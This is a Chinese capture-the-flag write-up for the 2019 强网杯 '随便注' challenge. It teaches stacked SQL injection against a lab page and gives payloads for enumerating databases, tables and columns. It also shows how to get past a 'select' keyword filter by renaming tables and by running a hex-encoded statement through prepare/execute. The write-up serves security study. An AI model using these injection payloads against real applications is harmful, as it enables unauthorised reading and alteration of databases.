背景知识
堆叠注入
sql注入
题目
点开页面发现有一个输入框,输入1点击查询后发现
查看源代码后发现
联系源代码中的提示和题目名,想到这道题与sql注入有关
尝试一下是否存在sql注入
构造payload
1' or 1=1 #
测试字段数
构造payload
1' order by 3 #
到3时报错,说明字段数为2
尝试union注入
构造payload
1' union select 1,2#
回显过滤了关键字
使用show database爆出数据库
构造payload
1'; show databases; #
尝试爆表
构造payload
1';show tables; #
如图所示有四个表,逐一尝试爆表的内容
构造payload
1'; show columns from words; #
没找到有用的信息
爆数字的表
构造payload
1'; show columns from`1919810931114514`;#
页面显示如下,发现有flag,查看flag文件
查询语句为select id,data from words where id =,但是select被过滤了
这里想不到其他办法了,只能借鉴其他大佬的wp作为参考思路
方法一:改表名
1.通过rename把words表名改为其他表名
2.把1919810931114514表的名字改为words
3.给新words表添加新的列名id
4.将flag改名为data
构造payload
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
得到flag
方法二:编码
因为select被过滤了,将select * from `1919810931114514`进行16进制编码
构造payload
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
总结
1.表名为数字时,需要用反引号抱起来查询
方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
2.堆叠注入的绕过姿势
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
或者
rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
参考学习文章链接:
[强网杯 2019]随便注_今天小白努力学习了吗的博客-CSDN博客